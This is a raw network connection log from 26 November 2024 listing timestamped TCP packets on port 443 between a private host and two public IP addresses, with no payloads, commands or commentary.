Nov 26, 2024 08:55:13.044574976 CET	443	49781	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:13.044648886 CET	443	49781	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:13.044758081 CET	49781	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:13.052088022 CET	49781	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:13.052114964 CET	443	49781	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:13.056477070 CET	49792	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:13.056529045 CET	443	49792	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:13.056591988 CET	49792	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:13.056864977 CET	49792	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:13.056880951 CET	443	49792	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:13.124142885 CET	443	49782	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:13.124214888 CET	443	49782	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:13.124264002 CET	49782	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:13.171602964 CET	443	49788	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:13.198101997 CET	443	49783	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:13.198174953 CET	443	49783	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:13.198244095 CET	49783	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:13.201297998 CET	443	49785	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:13.201364994 CET	443	49785	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:13.201457024 CET	49785	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:13.201951027 CET	443	49784	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:13.202004910 CET	443	49784	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:13.202970028 CET	49784	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:13.253552914 CET	49788	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:13.311172009 CET	49788	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:13.311183929 CET	443	49788	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:13.311695099 CET	443	49788	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:13.315648079 CET	49788	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:13.315712929 CET	443	49788	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:13.340830088 CET	49788	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:13.356506109 CET	49782	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:13.356525898 CET	443	49782	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:13.361008883 CET	49783	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:13.361008883 CET	49783	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:13.361035109 CET	443	49783	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:13.361051083 CET	443	49783	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:13.361573935 CET	49785	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:13.361593962 CET	443	49785	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:13.361633062 CET	49785	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:13.361639023 CET	443	49785	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:13.383335114 CET	443	49788	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:13.389775991 CET	49784	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:13.389846087 CET	443	49784	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:13.389904022 CET	49784	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:13.389923096 CET	443	49784	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:13.549516916 CET	49793	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:13.549544096 CET	443	49793	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:13.549629927 CET	49793	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:13.553077936 CET	49794	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:13.553124905 CET	443	49794	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:13.553184032 CET	49794	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:13.553349018 CET	49793	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:13.553358078 CET	443	49793	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:13.554092884 CET	49795	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:13.554106951 CET	443	49795	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:13.554342985 CET	49795	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:13.554487944 CET	49795	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:13.554498911 CET	443	49795	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:13.554640055 CET	49794	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:13.554651022 CET	443	49794	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:13.555128098 CET	49796	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:13.555162907 CET	443	49796	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:13.555238962 CET	49796	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:13.555898905 CET	49796	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:13.555910110 CET	443	49796	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:13.826661110 CET	443	49787	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:13.828180075 CET	443	49787	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:13.828224897 CET	49787	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:13.828731060 CET	49787	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:13.828751087 CET	443	49787	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:14.282160044 CET	443	49788	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:14.282207966 CET	443	49788	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:14.282280922 CET	49788	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:14.282295942 CET	443	49788	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:14.282818079 CET	49788	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:14.282847881 CET	443	49788	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:14.282917023 CET	49788	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:14.905270100 CET	443	49792	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:14.905812979 CET	49792	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:14.905854940 CET	443	49792	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:14.906244040 CET	49792	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:14.906250954 CET	443	49792	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.271888971 CET	443	49793	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.272311926 CET	49793	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.272327900 CET	443	49793	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.272768974 CET	49793	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.272773981 CET	443	49793	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.336028099 CET	443	49795	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.336570024 CET	49795	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.336581945 CET	443	49795	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.337182999 CET	49795	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.337188005 CET	443	49795	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.337584019 CET	443	49794	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.337866068 CET	49794	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.337888956 CET	443	49794	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.338267088 CET	49794	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.338274956 CET	443	49794	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.340218067 CET	443	49796	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.340560913 CET	49796	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.340578079 CET	443	49796	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.341072083 CET	49796	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.341077089 CET	443	49796	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.359095097 CET	443	49792	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.359174967 CET	443	49792	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.359419107 CET	49792	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.359504938 CET	49792	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.359528065 CET	443	49792	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.359540939 CET	49792	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.359546900 CET	443	49792	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.362775087 CET	49802	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.362816095 CET	443	49802	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.362962008 CET	49802	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.363221884 CET	49802	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.363229036 CET	443	49802	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.709315062 CET	443	49793	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.709382057 CET	443	49793	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.709557056 CET	49793	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.709768057 CET	49793	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.709779978 CET	443	49793	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.716382027 CET	49803	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.716448069 CET	443	49803	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.716547966 CET	49803	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.723068953 CET	49803	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.723095894 CET	443	49803	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.782248020 CET	443	49794	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.782449007 CET	443	49794	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.782516003 CET	49794	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.783262968 CET	443	49795	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.783337116 CET	443	49795	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.783394098 CET	49795	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.784096003 CET	49794	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.784096003 CET	49794	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.784137964 CET	443	49794	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.784162998 CET	443	49794	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.785082102 CET	443	49796	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.785135984 CET	443	49796	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.785262108 CET	49795	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.785262108 CET	49795	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.785281897 CET	443	49795	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.785291910 CET	443	49795	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.785304070 CET	49796	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.794715881 CET	49796	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.794715881 CET	49796	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.794739008 CET	443	49796	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.794750929 CET	443	49796	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.799834013 CET	49804	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.799880028 CET	443	49804	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.799962997 CET	49804	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.801517963 CET	49805	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.801556110 CET	443	49805	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.801613092 CET	49805	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.801688910 CET	49804	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.801712990 CET	443	49804	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.805095911 CET	49806	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.805121899 CET	443	49806	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.805198908 CET	49806	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.805531979 CET	49806	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.805553913 CET	443	49806	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:15.809241056 CET	49805	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:15.809262991 CET	443	49805	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:17.146429062 CET	443	49802	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:17.149568081 CET	49802	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:17.149602890 CET	443	49802	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:17.150017977 CET	49802	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:17.150022984 CET	443	49802	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:17.502919912 CET	443	49803	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:17.503381014 CET	49803	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:17.503426075 CET	443	49803	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:17.503905058 CET	49803	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:17.503911018 CET	443	49803	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:17.585863113 CET	443	49806	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:17.586266041 CET	49806	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:17.586292028 CET	443	49806	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:17.586755991 CET	49806	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:17.586760998 CET	443	49806	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:17.590219975 CET	443	49805	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:17.590548038 CET	49805	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:17.590580940 CET	443	49805	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:17.590686083 CET	443	49802	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:17.590759039 CET	443	49802	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:17.590809107 CET	49802	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:17.590919971 CET	49805	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:17.590925932 CET	443	49805	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:17.591097116 CET	49802	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:17.591118097 CET	443	49802	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:17.591130018 CET	49802	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:17.591135025 CET	443	49802	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:17.607064962 CET	49810	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:17.607114077 CET	443	49810	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:17.607177019 CET	49810	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:17.607526064 CET	49810	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:17.607537985 CET	443	49810	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:17.647902966 CET	443	49804	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:17.648921013 CET	49804	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:17.648961067 CET	443	49804	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:17.649360895 CET	49804	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:17.649367094 CET	443	49804	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:17.947048903 CET	443	49803	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:17.947124958 CET	443	49803	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:17.947191000 CET	49803	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:17.952680111 CET	49803	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:17.952708960 CET	443	49803	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:17.952722073 CET	49803	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:17.952728033 CET	443	49803	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:17.967823029 CET	49812	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:17.967880011 CET	443	49812	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:17.967956066 CET	49812	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:17.968081951 CET	49812	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:17.968092918 CET	443	49812	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:18.029763937 CET	443	49806	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:18.029855013 CET	443	49806	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:18.029917955 CET	49806	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:18.030030966 CET	49806	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:18.030051947 CET	443	49806	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:18.030071974 CET	49806	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:18.030077934 CET	443	49806	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:18.032891035 CET	49813	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:18.032917976 CET	443	49813	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:18.033086061 CET	49813	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:18.033365011 CET	49813	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:18.033375978 CET	443	49813	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:18.034720898 CET	443	49805	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:18.034795046 CET	443	49805	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:18.034852028 CET	49805	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:18.034950972 CET	49805	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:18.034975052 CET	443	49805	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:18.034987926 CET	49805	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:18.034995079 CET	443	49805	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:18.038405895 CET	49814	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:18.038439989 CET	443	49814	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:18.038602114 CET	49814	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:18.038765907 CET	49814	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:18.038779974 CET	443	49814	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:18.101820946 CET	443	49804	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:18.101897955 CET	443	49804	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:18.101949930 CET	49804	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:18.102118015 CET	49804	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:18.102140903 CET	443	49804	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:18.102154970 CET	49804	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:18.102161884 CET	443	49804	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:18.104569912 CET	49815	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:18.104609013 CET	443	49815	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:18.104717016 CET	49815	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:18.104835987 CET	49815	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:18.104846954 CET	443	49815	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:19.406375885 CET	443	49810	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:19.407016993 CET	49810	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:19.407052040 CET	443	49810	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:19.407567024 CET	49810	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:19.407572031 CET	443	49810	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:19.546749115 CET	49819	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:19.546788931 CET	443	49819	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:19.546897888 CET	49819	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:19.547157049 CET	49819	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:19.547173977 CET	443	49819	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:19.596730947 CET	443	49812	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:19.597223043 CET	49812	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:19.597235918 CET	443	49812	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:19.598161936 CET	49812	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:19.598167896 CET	443	49812	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:19.781460047 CET	443	49813	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:19.781963110 CET	49813	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:19.781997919 CET	443	49813	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:19.782407999 CET	49813	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:19.782413960 CET	443	49813	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:19.850748062 CET	443	49810	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:19.850812912 CET	443	49810	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:19.850905895 CET	49810	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:19.851201057 CET	49810	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:19.851201057 CET	49810	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:19.851219893 CET	443	49810	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:19.851229906 CET	443	49810	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:19.853979111 CET	49826	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:19.854003906 CET	443	49826	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:19.854156971 CET	49826	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:19.854329109 CET	49826	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:19.854341984 CET	443	49826	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:19.896311045 CET	443	49815	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:19.897350073 CET	49815	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:19.897387028 CET	443	49815	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:19.898951054 CET	49815	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:19.898967028 CET	443	49815	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:19.909909964 CET	443	49814	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:19.910819054 CET	49814	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:19.910820007 CET	49814	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:19.910856962 CET	443	49814	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:19.910875082 CET	443	49814	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:20.047261953 CET	443	49812	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:20.047343969 CET	443	49812	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:20.051018000 CET	49812	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:20.051110983 CET	49812	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:20.051126957 CET	443	49812	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:20.051156998 CET	49812	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:20.051162004 CET	443	49812	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:20.054953098 CET	49829	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:20.055003881 CET	443	49829	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:20.059142113 CET	49829	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:20.059143066 CET	49829	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:20.059206009 CET	443	49829	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:20.217185974 CET	443	49813	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:20.217250109 CET	443	49813	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:20.217379093 CET	49813	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:20.217550993 CET	49813	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:20.217550993 CET	49813	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:20.217571974 CET	443	49813	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:20.217583895 CET	443	49813	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:20.220607996 CET	49830	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:20.220653057 CET	443	49830	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:20.220727921 CET	49830	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:20.220974922 CET	49830	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:20.220988035 CET	443	49830	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:20.341084957 CET	443	49815	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:20.341162920 CET	443	49815	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:20.341768980 CET	49815	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:20.347743034 CET	49815	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:20.347762108 CET	443	49815	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:20.347793102 CET	49815	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:20.347800016 CET	443	49815	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:20.350956917 CET	49831	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:20.350984097 CET	443	49831	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:20.351177931 CET	49831	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:20.351177931 CET	49831	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:20.351208925 CET	443	49831	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:20.371241093 CET	443	49814	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:20.371329069 CET	443	49814	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:20.371412992 CET	49814	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:20.371530056 CET	49814	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:20.371530056 CET	49814	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:20.371545076 CET	443	49814	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:20.371552944 CET	443	49814	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:20.374352932 CET	49832	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:20.374392986 CET	443	49832	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:20.375020027 CET	49832	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:20.375309944 CET	49832	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:20.375329018 CET	443	49832	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:21.283160925 CET	443	49819	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:21.349998951 CET	49819	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:21.422224045 CET	49819	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:21.422235012 CET	443	49819	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:21.422655106 CET	443	49819	172.217.19.174	192.168.2.4
